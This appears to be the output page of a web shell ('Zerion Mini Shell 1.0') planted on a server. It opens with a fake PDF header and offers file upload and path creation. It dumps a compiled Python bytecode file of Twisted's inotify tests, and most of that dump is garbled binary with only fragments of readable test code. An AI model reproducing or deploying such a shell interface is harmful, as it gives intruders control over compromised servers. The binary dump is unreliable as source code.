%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/twisted/python/test/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/twisted/python/test/__pycache__/test_inotify.cpython-312.pyc

�

Ϫ�f~����dZddlmZddlmZddlmZ	ddlmZeZ	e	r(ej�rddlm
Z
mZmZddlmZmZmZmZndZ	Gd	�d
e�Zy#e
$rdZ	Y�AwxYw)z'
Tests for L{twisted.python._inotify}.
�)�FilePath)�platform)�TestCase)�_inotifyN)�c_char_p�c_int�c_uint32)�INotifyError�add�init�initializeModulec�<�eZdZdZe�dZd�Zd�Zd�Zd�Z	d�Z
d	�Zy)
�INotifyTestsz/
    Tests for L{twisted.python._inotify}.
    Nz&This platform doesn't support INotify.c�X�Gd�d�}|jtt|��y)z�
        If the I{libc} object passed to L{initializeModule} has no
        C{inotify_init} attribute, L{ImportError} is raised.
        c��eZdZd�Zd�Zy)�+INotifyTests.test_missingInit.<locals>.libcc��y�N���selfs �B/usr/lib/python3/dist-packages/twisted/python/test/test_inotify.py�inotify_add_watchz=INotifyTests.test_missingInit.<locals>.libc.inotify_add_watch*����c��yrrrs r�inotify_rm_watchz<INotifyTests.test_missingInit.<locals>.libc.inotify_rm_watch-rrN)�__name__�
__module__�__qualname__rrrrr�libcr)���
�
rr!N��assertRaises�ImportErrorr
�rr!s  r�test_missingInitzINotifyTests.test_missingInit#�#��	�	�	
���+�'7���@rc�X�Gd�d�}|jtt|��y)z�
        If the I{libc} object passed to L{initializeModule} has no
        C{inotify_add_watch} attribute, L{ImportError} is raised.
        c��eZdZd�Zd�Zy)�*INotifyTests.test_missingAdd.<locals>.libcc��yrrrs r�inotify_initz7INotifyTests.test_missingAdd.<locals>.libc.inotify_init9rrc��yrrrs rrz;INotifyTests.test_missingAdd.<locals>.libc.inotify_rm_watch<rrN)rrr r-rrrrr!r+8r"rr!Nr#r&s  r�test_missingAddzINotifyTests.test_missingAdd2r(rc�X�Gd�d�}|jtt|��y)z�
        If the I{libc} object passed to L{initializeModule} has no
        C{inotify_rm_watch} attribute, L{ImportError} is raised.
        c��eZdZd�Zd�Zy)�-INotifyTests.test_missingRemove.<locals>.libcc��yrrrs rr-z:INotifyTests.test_missingRemove.<locals>.libc.inotify_initHrrc��yrrrs rrz?INotifyTests.test_missingRemove.<locals>.libc.inotify_add_watchKrrN)rrr r-rrrrr!r2Gr"rr!Nr#r&s  r�test_missingRemovezINotifyTests.test_missingRemoveAr(rc�N�Gd�d�}|�}t|�|j|jjg�|j|jjt
�|j|jjt
t
g�|j|jjt
�|j|jjt
ttg�|j|jjt
�y)z�
        If the I{libc} object passed to L{initializeModule} has all of the
        necessary attributes, it sets the C{argtypes} and C{restype} attributes
        of the three ctypes methods used from libc.
        c�N�eZdZd�Zee�Zd�Zee�Zd�Zee�Zy)�(INotifyTests.test_setTypes.<locals>.libcc��yrrrs rr-z5INotifyTests.test_setTypes.<locals>.libc.inotify_initXrrc��yrrrs rrz9INotifyTests.test_setTypes.<locals>.libc.inotify_rm_watch]rrc��yrrrs rrz:INotifyTests.test_setTypes.<locals>.libc.inotify_add_watchbrrN)rrr r-�staticmethodrrrrrr!r8Ws9��
�(��5�L�
� ,�,<�=��
�!-�->� ?�rr!N)
r
�assertEqualr-�argtypes�restyperrrrr	)rr!�cs   r�
test_setTypeszINotifyTests.test_setTypesPs���	@�	@� 
�F�����������0�0�"�5�������/�/��7�����+�+�4�4�u�e�n�E�����+�+�3�3�U�;�����,�,�5�5��x��7R�S�����,�,�4�4�e�<rc��Gd�d�}|jtd|��|jtt�y)zg
        If C{inotify_init} returns a negative number, L{init} raises
        L{INotifyError}.
        c��eZdZd�Zy)�*INotifyTests.test_failedInit.<locals>.libcc��y�N���rrs rr-z7INotifyTests.test_failedInit.<locals>.libc.inotify_inity���rN)rrr r-rrrr!rDx���
rr!N)�patch�inotifyr$r
rr&s  r�test_failedInitzINotifyTests.test_failedInitrs0��	�	�	
�
�
�7�F�D�F�+����,��-rc��Gd�d�}|jtd|��|jttdtd�d�y)zk
        If C{inotify_add_watch} returns a negative number, L{add}
        raises L{INotifyError}.
        c��eZdZd�Zy)�.INotifyTests.test_failedAddWatch.<locals>.libcc��yrFr)r�fd�path�masks    rrz@INotifyTests.test_failedAddWatch.<locals>.libc.inotify_add_watch�rHrN)rrr rrrrr!rO�rIrr!�z/foorN)rJrKr$r
rrr&s  r�test_failedAddWatchz INotifyTests.test_failedAddWatchs;��	�	�	
�
�
�7�F�D�F�+����,��Q���0@�!�Dr)rrr �__doc__rK�skipr'r/r5rArLrUrrrrrs6�����7��
A�
A�
A� =�D.�Err)rV�twisted.python.filepathr�twisted.python.runtimer�twisted.trial.unittestr�twisted.pythonrrKr%�supportsINotify�ctypesrrr	�twisted.python._inotifyr
rrr
rrrr�<module>r_sl���-�+�+��'��G�
�'�x�'�'�)�0�0�Q�Q��G�oE�8�oE�����G��s�A�A �A 

Zerion Mini Shell 1.0